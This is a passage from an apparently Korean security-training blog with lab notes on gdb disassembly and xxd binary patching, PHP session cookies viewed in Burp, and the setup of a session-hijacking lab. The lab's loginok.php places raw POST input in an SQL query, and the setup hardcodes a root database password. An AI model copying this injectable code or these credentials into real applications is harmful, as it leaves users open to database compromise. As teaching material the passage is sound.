(gdb) c                &lt;-- 프로세스 끝까지 실행한다.
(gdb) q                &lt;-- 프로세스를 종료한다.</code></pre><blockquote>
<p><strong>실습&gt; gdb를 이용한 바이너리 분석하기 2</strong></p>
</blockquote>
<pre><code>
&gt;&gt;&gt; 자세히 분석하기 &lt;&lt;&lt;

# gdb -q test1
Reading symbols from /root/test1...done.
(gdb) run
Starting program: /root/test1
i = 7
[Inferior 1 (process 2109) exited normally]
Missing separate debuginfos, use: debuginfo-install glibc-2.17-326.el7_9.i686

-g 옵션을 주고 컴파일을 했기 때문에 소스코드를 볼 수 있다.
(gdb) list 1, 50
1       /*
2        * 파일명: test1.c
3        * 프로그램 설명: 바이너리 패치
4        * 작성자: 리눅스마스터넷
5        * 작성일: 2023.03.12
6        *
7        * 컴파일: gcc -m32 -g -o test1 test1.c
8        */
9       #include &lt;stdio.h&gt;
10
11      int main()
12      {
13          int i = 7;
14
15          printf(&quot;i = %d\n&quot;, i);  // i = 7
16
17          return 0;
18      }

어셈블리 코드가 at&amp;t 문법 형식으로 출력한다.
(gdb) disas main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:     push   %ebp
   0x0804840e &lt;+1&gt;:     mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     sub    $0x20,%esp
   0x08048416 &lt;+9&gt;:     movl   $0x7,0x1c(%esp)
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax
   0x08048437 &lt;+42&gt;:    leave
   0x08048438 &lt;+43&gt;:    ret
End of assembler dump.

(gdb) disas /r main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:     55      push   %ebp
   0x0804840e &lt;+1&gt;:     89 e5   mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     83 e4 f0        and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     83 ec 20        sub    $0x20,%esp
   0x08048416 &lt;+9&gt;:     c7 44 24 1c 07 00 00 00 movl   $0x7,0x1c(%esp)
   0x0804841e &lt;+17&gt;:    8b 44 24 1c     mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    89 44 24 04     mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    c7 04 24 d4 84 04 08    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    e8 ae fe ff ff  call   0x80482e0 &lt;printf@plt&gt;
   0x08048432 &lt;+37&gt;:    b8 00 00 00 00  mov    $0x0,%eax
   0x08048437 &lt;+42&gt;:    c9      leave
   0x08048438 &lt;+43&gt;:    c3      ret
End of assembler dump.

(gdb) disas /m main
Dump of assembler code for function main:
12      {
   0x0804840d &lt;+0&gt;:     push   %ebp
   0x0804840e &lt;+1&gt;:     mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     sub    $0x20,%esp

13          int i = 7;
   0x08048416 &lt;+9&gt;:     movl   $0x7,0x1c(%esp)

14
15          printf(&quot;i = %d\n&quot;, i);  // i = 7
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;

16
17          return 0;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax

18      }
   0x08048437 &lt;+42&gt;:    leave
   0x08048438 &lt;+43&gt;:    ret

---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
End of assembler dump.


(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.

(gdb) i b
Num     Type           Disp Enb Address    What
1       breakpoint     keep y   0x08048416 in main at test1.c:13

(gdb) r
Starting program: /root/test1

Breakpoint 1, main () at test1.c:13
13          int i = 7;

(gdb) disas main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:     push   %ebp
   0x0804840e &lt;+1&gt;:     mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     sub    $0x20,%esp
=&gt; 0x08048416 &lt;+9&gt;:     movl   $0x7,0x1c(%esp)
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax
   0x08048437 &lt;+42&gt;:    leave
   0x08048438 &lt;+43&gt;:    ret
End of assembler dump.

(gdb) disas /m main
Dump of assembler code for function main:
12      {
   0x0804840d &lt;+0&gt;:     push   %ebp
   0x0804840e &lt;+1&gt;:     mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     sub    $0x20,%esp

13          int i = 7;
=&gt; 0x08048416 &lt;+9&gt;:     movl   $0x7,0x1c(%esp)

14
15          printf(&quot;i = %d\n&quot;, i);  // i = 7
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;

16
17          return 0;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax

18      }
   0x08048437 &lt;+42&gt;:    leave
   0x08048438 &lt;+43&gt;:    ret

---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
End of assembler dump.

n: next 는 현재 eip 가 가리키고 있는 코드를 실행하고 다음으로 진행한다.
n을 실행하면 i 변수에 7이 저장이 되었다. 
(gdb) n
15          printf(&quot;i = %d\n&quot;, i);  // i = 7
(gdb) i r
eax            0x1      1
ecx            0x9395a416       -1818909674
edx            0xffffd674       -10636
ebx            0xf7fcc000       -134430720
esp            0xffffd620       0xffffd620
ebp            0xffffd648       0xffffd648
esi            0x0      0
edi            0x0      0
eip            0x804841e        0x804841e &lt;main+17&gt;
eflags         0x282    [ SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99

p: print의 약자로 변수의 값을 확인할 때 사용한다.
(gdb) p i
$1 = 7


o 메모리 조사
- x 명령어를 사용해서 메모리의 내용을 출력한다.
형식 : x/[반복숫자][출력형태][크기] [메모리주소]
출력형태 : o(octal), x(hex), d(decimal), u(unsigned decimal),
           t(binary), f(float), a(address), i(instruction), c(char) and s(string)
크기     : b(byte), h(halfword, 2 bytes), w(word, 4 bytes), g(giant, 8 bytes).

(gdb) x/16xw $ebp
(gdb) x/16xw $ebp-16
(gdb) x/s $ebp-16
(gdb) x/s 0x80484b0

i 변수의 주소를 확인한다.
ASLR(Address Space Layout Randomization)의 기법에 의해서 실행할 때마다 메모리에 다르게 올라간다.
공격을 회피하기 위해서 코드를 메모리에 다르게 올린다.
(gdb) p &amp;i
$2 = (int *) 0xffffd63c

(gdb) x/x &amp;i
0xffffd63c:     0x00000007
(gdb) x/x 0xffffd63c
0xffffd63c:     0x00000007

x/16xw &amp;i
x: 메모리 조사 명령어
16: [반복숫자]  
x : [출력형태]  
w : [크기]  
&amp;i: [메모리주소]  
(gdb) x/16xw &amp;i
0xffffd63c:     0x00000007      0x08048440      0x00000000      0x00000000
0xffffd64c:     0xf7e1f2d3      0x00000001      0xffffd6e4      0xffffd6ec
0xffffd65c:     0xf7fd86b0      0x00000001      0x00000001      0x00000000
0xffffd66c:     0x0804a010      0x0804821c      0xf7fcc000      0x00000000

(gdb) n
i = 7
17          return 0;
(gdb) n
18      }
(gdb) c
Continuing.
[Inferior 1 (process 2118) exited normally]
(gdb) q

명령어
# gdb -q test1
l 1, 50
disas main
disas /m main
disas /r main
b main
i b
r
n
p &amp;i
x/x &amp;i
x/16xw &amp;i
n
p $eax
n  c
n
n

# gdb -q test2

(gdb) l 1, 50  &lt;-- 소스코드 1 ~ 50번 라인까지 출력한다.
(gdb) b main &lt;-- main 함수 BP(Break Point)를 설정한다.
(gdb) i b    &lt;-- BP를 확인한다.
(gdb) r      &lt;-- 프로세스를 실행한다.
(gdb) n      &lt;-- int i = 7;에 의해서 i변수에 7이 저장된다.
(gdb) p i    &lt;-- i 변수의 값을 확인한다.
(gdb) p &amp;i   &lt;-- i 변수의 주소를 확인한다.
(gdb) x/16xw &amp;i  &lt;-- i 변수부터 워드(4byte) 단위로 16개의 메모리를 출력한다.
(gdb) n      &lt;-- int j = 3;에 의해서 j변수에 3이 저장된다.
(gdb) p j    &lt;-- j 변수의 값을 확인한다. 
(gdb) p &amp;j   &lt;-- j 변수의 주소를 확인한다.
(gdb) x/16xw &amp;j  &lt;-- j변수를 기점으로 메모리를 워드(4byte) 16개를 출력한다.
0xffffd638:     0x00000003      0x00000007      0x08048450      0x00000000
                ~~~~~~~~~~      ~~~~~~~~~~
                  j 변수            i 변수
0xffffd648:     0x00000000      0xf7e1f2d3      0x00000001      0xffffd6e4
0xffffd658:     0xffffd6ec      0xf7fd86b0      0x00000001      0x00000001
0xffffd668:     0x00000000      0x0804a010      0x0804821c      0xf7fcc000
(gdb) n  &lt;-- 다음 진행
(gdb) n  &lt;-- 다음 진행
(gdb) c  &lt;-- 끝까지 진행
(gdb) q  &lt;-- gdb 종료</code></pre><blockquote>
<p><strong>실습&gt; 바이너리 분석을 통한 실행파일 패치하기</strong></p>
</blockquote>
<pre><code>
실행파일: 바이너리(0,1) 파일이라고도 한다.


1. 소스 코드 작성
# vi test1.c
/*
 * 파일명: test1.c
 * 프로그램 설명: 바이너리 패치
 * 작성자: 리눅스마스터넷
 * 작성일: 2023.03.18
 *
 * 컴파일: gcc -m32 -g -o test1 test1.c
 */
#include &lt;stdio.h&gt;

int main()
{
    int i = 7;

    printf(&quot;i = %d\n&quot;, i);  // i = 7

    return 0;
}

2. 컴파일
# gcc -m32 -g -o test1 test1.c
# ./test1
i = 7

# file test1
test1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=726e3b662223e2f47bc521dc0ef817d6c6931c08, not stripped


3. gdb 분석
# gdb test1
Reading symbols from /root/test1...done.
(gdb) b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
(gdb) disas /m main
Dump of assembler code for function main:
12      {
   0x0804840d &lt;+0&gt;:     push   %ebp
   0x0804840e &lt;+1&gt;:     mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     sub    $0x20,%esp

13          int i = 7;
   0x08048416 &lt;+9&gt;:     movl   $0x7,0x1c(%esp)

14
15          printf(&quot;i = %d\n&quot;, i);  // i = 7
   0x0804841e &lt;+17&gt;:    mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    call   0x80482e0 &lt;printf@plt&gt;

16
17          return 0;
   0x08048432 &lt;+37&gt;:    mov    $0x0,%eax

18      }
   0x08048437 &lt;+42&gt;:    leave
   0x08048438 &lt;+43&gt;:    ret

---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---
End of assembler dump.
(gdb) disas /r main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:     55      push   %ebp
   0x0804840e &lt;+1&gt;:     89 e5   mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     83 e4 f0        and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     83 ec 20        sub    $0x20,%esp
   0x08048416 &lt;+9&gt;:     c7 44 24 1c 07 00 00 00 movl   $0x7,0x1c(%esp)
   0x0804841e &lt;+17&gt;:    8b 44 24 1c     mov    0x1c(%esp),%eax
   0x08048422 &lt;+21&gt;:    89 44 24 04     mov    %eax,0x4(%esp)
   0x08048426 &lt;+25&gt;:    c7 04 24 d4 84 04 08    movl   $0x80484d4,(%esp)
   0x0804842d &lt;+32&gt;:    e8 ae fe ff ff  call   0x80482e0 &lt;printf@plt&gt;
   0x08048432 &lt;+37&gt;:    b8 00 00 00 00  mov    $0x0,%eax
   0x08048437 &lt;+42&gt;:    c9      leave
   0x08048438 &lt;+43&gt;:    c3      ret
End of assembler dump.
(gdb) quit

4. 파일 패치
# xxd test1 &gt; test1.xxd
# vi test1.xxd
  :
  :(생략)
64 00003f0: 7416 5589 e583 ec18 c704 2410 9f04 08ff  t.U.......$.....
65 0000400: d0c9 e979 ffff ff90 e973 ffff ff55 89e5  ...y.....s...U..
66 0000410: 83e4 f083 ec20 c744 241c 0800 0000 8b44  ..... .D$......D
                                     ~~ 07 -&gt; 08로 변경
  :
  :(생략)

# xxd -r test1.xxd &gt; test1-2
# chmod 755 test1-2
# file test1-2
test1-2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=726e3b662223e2f47bc521dc0ef817d6c6931c08, not stripped
# ./test1-2
i = 8</code></pre><blockquote>
<p><strong>실습&gt; 바이너리 분석을 통한 실행파일 패치하기 2</strong></p>
</blockquote>
<pre><code>hap 의 값을 13으로 출력한다.

1. 소스 코드 작성
# vi test2.c
/*
 * 파일명: test2.c
 * 프로그램 설명: 바이너리 패치
 * 작성자: 리눅스마스터넷
 * 작성일: 2023.03.18
 *
 * 컴파일: gcc -m32 -g -o test2 test2.c
 */
#include &lt;stdio.h&gt;

int main()
{
    int i = 7;
    int j = 3;
    int hap;

    hap = i + j;

    printf(&quot;hap = %d\n&quot;, hap);  // hap = 10

    return 0;
}


2. 컴파일
# gcc -m32 -g -o test2 test2.c
# ./test2
hap = 10  &lt;-- 13으로 변경

3. gdb 분석
# gdb test2
(gdb) disas /m main
Dump of assembler code for function main:
12      {
   0x0804840d &lt;+0&gt;:     push   %ebp
   0x0804840e &lt;+1&gt;:     mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     sub    $0x20,%esp

13          int i = 7;
   0x08048416 &lt;+9&gt;:     movl   $0x7,0x1c(%esp)

14          int j = 3;
   0x0804841e &lt;+17&gt;:    movl   $0x3,0x18(%esp)

15          int hap;
16
17          hap = i + j;
   0x08048426 &lt;+25&gt;:    mov    0x18(%esp),%eax
   0x0804842a &lt;+29&gt;:    mov    0x1c(%esp),%edx
   0x0804842e &lt;+33&gt;:    add    %edx,%eax
   0x08048430 &lt;+35&gt;:    mov    %eax,0x14(%esp)

18
19          printf(&quot;hap = %d\n&quot;, hap);  // hap = 10
   0x08048434 &lt;+39&gt;:    mov    0x14(%esp),%eax
   0x08048438 &lt;+43&gt;:    mov    %eax,0x4(%esp)
---Type &lt;return&gt; to continue, or q &lt;return&gt; to quit---disas /m main
   0x0804843c &lt;+47&gt;:    movl   $0x80484e4,(%esp)
   0x08048443 &lt;+54&gt;:    call   0x80482e0 &lt;printf@plt&gt;

20
21          return 0;
   0x08048448 &lt;+59&gt;:    mov    $0x0,%eax

22      }
   0x0804844d &lt;+64&gt;:    leave
   0x0804844e &lt;+65&gt;:    ret

End of assembler dump.
(gdb)
(gdb) disas /r main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:     55      push   %ebp
   0x0804840e &lt;+1&gt;:     89 e5   mov    %esp,%ebp
   0x08048410 &lt;+3&gt;:     83 e4 f0        and    $0xfffffff0,%esp
   0x08048413 &lt;+6&gt;:     83 ec 20        sub    $0x20,%esp
   0x08048416 &lt;+9&gt;:     c7 44 24 1c 07 00 00 00 movl   $0x7,0x1c(%esp)
   0x0804841e &lt;+17&gt;:    c7 44 24 18 03 00 00 00 movl   $0x3,0x18(%esp)
   0x08048426 &lt;+25&gt;:    8b 44 24 18     mov    0x18(%esp),%eax
   0x0804842a &lt;+29&gt;:    8b 54 24 1c     mov    0x1c(%esp),%edx
   0x0804842e &lt;+33&gt;:    01 d0   add    %edx,%eax
   0x08048430 &lt;+35&gt;:    89 44 24 14     mov    %eax,0x14(%esp)
   0x08048434 &lt;+39&gt;:    8b 44 24 14     mov    0x14(%esp),%eax
   0x08048438 &lt;+43&gt;:    89 44 24 04     mov    %eax,0x4(%esp)
   0x0804843c &lt;+47&gt;:    c7 04 24 e4 84 04 08    movl   $0x80484e4,(%esp)
   0x08048443 &lt;+54&gt;:    e8 98 fe ff ff  call   0x80482e0 &lt;printf@plt&gt;
   0x08048448 &lt;+59&gt;:    b8 00 00 00 00  mov    $0x0,%eax
   0x0804844d &lt;+64&gt;:    c9      leave
   0x0804844e &lt;+65&gt;:    c3      ret
End of assembler dump.

어셈블리언어 문법을 intel 문법으로 변경한다.
(gdb) set disassembly-flavor intel
(gdb) disas /r main
Dump of assembler code for function main:
   0x0804840d &lt;+0&gt;:     55      push   ebp
   0x0804840e &lt;+1&gt;:     89 e5   mov    ebp,esp
   0x08048410 &lt;+3&gt;:     83 e4 f0        and    esp,0xfffffff0
   0x08048413 &lt;+6&gt;:     83 ec 20        sub    esp,0x20
   0x08048416 &lt;+9&gt;:     c7 44 24 1c 07 00 00 00 mov    DWORD PTR [esp+0x1c],0x7
   0x0804841e &lt;+17&gt;:    c7 44 24 18 03 00 00 00 mov    DWORD PTR [esp+0x18],0x3
   0x08048426 &lt;+25&gt;:    8b 44 24 18     mov    eax,DWORD PTR [esp+0x18]
   0x0804842a &lt;+29&gt;:    8b 54 24 1c     mov    edx,DWORD PTR [esp+0x1c]
   0x0804842e &lt;+33&gt;:    01 d0   add    eax,edx
   0x08048430 &lt;+35&gt;:    89 44 24 14     mov    DWORD PTR [esp+0x14],eax
   0x08048434 &lt;+39&gt;:    8b 44 24 14     mov    eax,DWORD PTR [esp+0x14]
   0x08048438 &lt;+43&gt;:    89 44 24 04     mov    DWORD PTR [esp+0x4],eax
   0x0804843c &lt;+47&gt;:    c7 04 24 e4 84 04 08    mov    DWORD PTR [esp],0x80484e4
   0x08048443 &lt;+54&gt;:    e8 98 fe ff ff  call   0x80482e0 &lt;printf@plt&gt;
   0x08048448 &lt;+59&gt;:    b8 00 00 00 00  mov    eax,0x0
   0x0804844d &lt;+64&gt;:    c9      leave
   0x0804844e &lt;+65&gt;:    c3      ret
End of assembler dump.

(gdb) quit

4. 파일 패치
# xxd test2 &gt; test2.xxd
# vi test2.xxd
  :
  :(생략)
66 0000410: 83e4 f083 ec20 c744 241c 0700 0000 c744  ..... .D$......D
67 0000420: 2418 0600 0000 8b44 2418 8b54 241c 01d0  $......D$..T$...
  :              ~~ &lt;-- 값 3을 6으로 교체
  :(생략)

# xxd  -r test2.xxd &gt; test2-2
# chmod 755 test2-2
# ./test2-2
hap = 13</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[애플리케이션 보안 운영 - 2 (교육 88 ~ 89일차)]]></title>
            <link>https://velog.io/@security_code/%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-2-%EA%B5%90%EC%9C%A1-88-89%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-2-%EA%B5%90%EC%9C%A1-88-89%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Thu, 06 Apr 2023 07:29:08 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; 세션 이해하기</strong></p>
</blockquote>
<pre><code>1. 쿠키 삭제
EditThisCookie 에서 모든 쿠키를 삭제한다.

2. 세션 파일 삭제
[root@webhacking html]# cd /var/lib/php/session/
[root@webhacking session]# ls -ld
drwxrwx---. 2 root apache 123  4월  3 10:16 .
[root@webhacking session]# rm -f *
[root@webhacking session]# cd /var/www/html/

3. PHP 파일 생성
[root@webhacking html]# mkdir SESSION
[root@webhacking html]# cd SESSION/
[root@webhacking SESSION]# cat &gt;&gt; index.html &lt;&lt; EOF
&lt;?
session_start();
?&gt;
EOF

4. Proxy On
Burp 에서 Intercept On으로 켜주고 브라우저에서 접속한다.

5. 웹사이트 접속
http://200.200.200.3/SESSION/

6. Header 확인
브라우저에서 접속한 HTTP 메세지 헤더를 확인한다.
처음 접속이므로 PHPSESSION 이 없다.
GET /SESSION/ HTTP/1.1
Host: 200.200.200.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Forward 버튼을 클릭해서 서버로 data를 보내고 돌아온 HTTP 요청 데이터를 확인하면 Set-Cookie 를 헤더에서 
확인할 수 있다.
Set-Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42; path=/


HTTP/1.1 200 OK
Date: Mon, 03 Apr 2023 01:34:08 GMT
Server: Apache
Set-Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Forward 버튼을 클릭해서 클라이언트로 data를 보내고 클라이언트가 HTTP 응답 데이터를 받고
Set-Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42; path=/ 에 의해서 쿠키를 생성한다.

이걸 확인하기 위해서는 EditThisCookie 에서 확인이 가능하다.


재접속
브라우저에서 다시 http://200.200.200.3/SESSION/ 으로 재접속한다.
처음 접속할 때는 PHPSESSION 이 헤더에 없었지만 쿠키로 저장한 후 두 번째 부터는 
PHPSESSION 이 헤더에 존재한다. 

Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42

GET /SESSION/ HTTP/1.1
Host: 200.200.200.3
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=t5fj23qe7gsmom3uhruag2be42     &lt;-- 
Connection: close


Forward 버튼을 클릭해서 서버로 data를 보내고 돌아온 HTTP 요청 데이터를 확인하면 Set-Cookie 를 헤더에서 
찾아볼 수 없다.

HTTP/1.1 200 OK
Date: Mon, 03 Apr 2023 01:42:18 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
</code></pre><blockquote>
<p><strong>실습&gt; 웹 세션 Hijacking</strong></p>
</blockquote>
<pre><code>HTTP 프로토콜은 SSH와 다르게 연결을 유지하지 않는 비연결성 프로토콜이다.
그러므로 웹 애플리케이션에서 사용자가 로그인을 유지하기 위해서는 세션/쿠키를 이용해서 연결을 유지하는 방법을 사용한다.
웹 세션 Hijacking이란 현재 연결중인 세션ID를 탈취해서 공격자가 피해자인 것처럼 속이는 공격기법이다.

브라우저 2개
일반 모드, 시크릿 모드 2개의 브라우저를 열고 실습을 진행한다.


1. DB 설정
# mysql

CREATE DATABASE newproject;
USE newproject
CREATE TABLE member (
    no       int         NOT NULL AUTO_INCREMENT PRIMARY KEY COMMENT &#39;회원번호&#39;,
    userid   varchar(20) NOT NULL UNIQUE COMMENT &#39;사용자&#39;,
    userpw   varchar(41) NOT NULL COMMENT &#39;비밀번호&#39;,
    username varchar(20) NOT NULL COMMENT &#39;회원이름&#39;,
    regdate  datetime    NOT NULL COMMENT &#39;가입날짜&#39;,
    phone    varchar(20) COMMENT &#39;연락처&#39;, 
    email    varchar(50) COMMENT &#39;이메일&#39;
);

INSERT INTO member VALUES (&#39;&#39;, &#39;admin&#39;,  password(&#39;111111&#39;), &#39;관리자&#39;, now(), &#39;010-1111-2222&#39;, &#39;admin@linuxmaster.net&#39;);
INSERT INTO member VALUES (&#39;&#39;, &#39;mrhong&#39;, password(&#39;222222&#39;), &#39;홍길동&#39;, now(), &#39;010-2222-3333&#39;, &#39;mrhong@linuxmaster.net&#39;);

SELECT * FROM member;

MariaDB [newproject]&gt; quit

[root@webhacking LOGINTEST]# vi ~/.my.cnf
[client]
host = localhost
user = root
password = P@ssw0rd


2. 로그인 설정 확인
DB 내용, login.php, loginok.php, logout.php 파일이 잘 설정되어 있는지 확인한다.

[root@webhacking ~]# cd /var/www/html/LOGINTEST
[root@webhacking LOGINTEST]# mysql -e &quot;SELECT * FROM newproject.member\G&quot;
*************************** 1. row ***************************
      no: 1
  userid: admin
  userpw: *FD571203974BA9AFE270FE62151AE967ECA5E0AA
username: 관리자
 regdate: 2022-10-24 12:28:51
   phone: 010-1111-2222
   email: admin@linuxmaster.net
*************************** 2. row ***************************
      no: 2
  userid: mrhong
  userpw: *A0C1808B1A47CECD5C161FEE647F5427F4EB6F98
username: 홍길동
 regdate: 2022-10-24 12:28:51
   phone: 010-2222-3333
   email: mrhong@linuxmaster.net

[root@webhacking LOGINTEST]# vi login.php 
&lt;?
/*
 * 파일명 : login.php
 * 프로그램 설명 : 로그인 메인 프로그램
 * 작성자 : 리눅스마스터넷
 */

session_start(); // 세션 시작
?&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt; :::로그인 테스트::: &lt;/title&gt;
  &lt;meta charset=&quot;utf-8&quot;/&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;?
if(isset($_SESSION[&#39;userid&#39;]))
{
?&gt;

&lt;table align=center border=1 cellpadding=5 cellspacing=0&gt;
&lt;tr align=center&gt;
  &lt;td align=center&gt; &lt;?=$_SESSION[&#39;username&#39;] ?&gt; 님 환영합니다. &lt;/td&gt;
&lt;/tr&gt;
&lt;tr align=center&gt;
  &lt;td align=center&gt; &lt;a href=logout.php&gt; 로그아웃 &lt;/a&gt; &lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;?
} else {

?&gt;
&lt;form method=post action=loginok.php&gt;
&lt;table align=center border=1 cellpadding=5 cellspacing=0&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 아이디 &lt;/td&gt; &lt;td&gt; &lt;input type=text name=userid&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td&gt; 비밀번호 &lt;/td&gt; &lt;td&gt; &lt;input type=password name=userpw&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;tr align=center&gt;
  &lt;td align=center colspan=2&gt; &lt;input type=submit value=로그인&gt; &lt;/td&gt;
&lt;tr&gt;
&lt;/table&gt;
&lt;/form&gt;

&lt;?
}
?&gt;

&lt;/body&gt;
&lt;/html&gt;

[root@webhacking LOGINTEST]# vi loginok.php 
&lt;?
/*
 * 파일명 : loginok.php
 * 프로그램 설명 : DB에 사용자를 확인해서 로그인하는 파일
 * 작성자 : 리눅스마스터넷
 */
session_start();  // 세션 시작
$DBHOST=&quot;localhost&quot;;
$DBUSER=&quot;root&quot;;
$DBPASS=&quot;P@ssw0rd&quot;;
$DBNAME = &quot;newproject&quot;;
$TBNAME = &quot;member&quot;;

$connect = mysqli_connect($DBHOST, $DBUSER, $DBPASS, $DBNAME) or die(&quot;DBMS에 접속 실패&quot;);
$query = &quot;SELECT * FROM $TBNAME WHERE userid = &#39;$_POST[userid]&#39; and userpw = password(&#39;$_POST[userpw]&#39;) &quot;;
$result = mysqli_query($connect, $query);
$num = mysqli_num_rows($result);

if($num)
{  // 세션 생성
    $row = mysqli_fetch_array($result); // $row 변수에 연관 배열로 저장한다.
    $_SESSION[&#39;userid&#39;] = $row[&#39;userid&#39;];  // 세션변수 userid 를 생성한다.
    $_SESSION[&#39;username&#39;] = $row[&#39;username&#39;]; // 세션변수 username 을 생성한다.
    header(&quot;Location: login.php&quot;);

} else { // userid / userpw 가 틀렸다면 에러메세지를 출력하고 이제 페이지로 돌려보낸다.
   echo &quot; &lt;script language=JavaScript&gt;
          &lt;!--
              alert(&#39;아이디/비번을 확인해주세요.&#39;);
              history.go(-1);
          //--&gt;
          &lt;/script&gt;
        &quot;;
}

?&gt;

[root@webhacking LOGINTEST]# vi logout.php 
&lt;?
/*
 * 파일명 : logout.php
 * 프로그램 설명 : 로그아웃 프로그램
 * 작성자 : 리눅스마스터넷
 */
session_start();    // 세션 시작
session_destroy();  // 세션 삭제

header(&quot;Location: login.php&quot;);
?&gt;

3. 로그인 
웹사이트에 접속해서 아래 사용자로 로그인을 시도해서 잘 로그인이 되는지 확인한다.

사용자     비밀번호
admin      111111 
mrhong     222222 

http://200.200.200.3/LOGINTEST/login.php

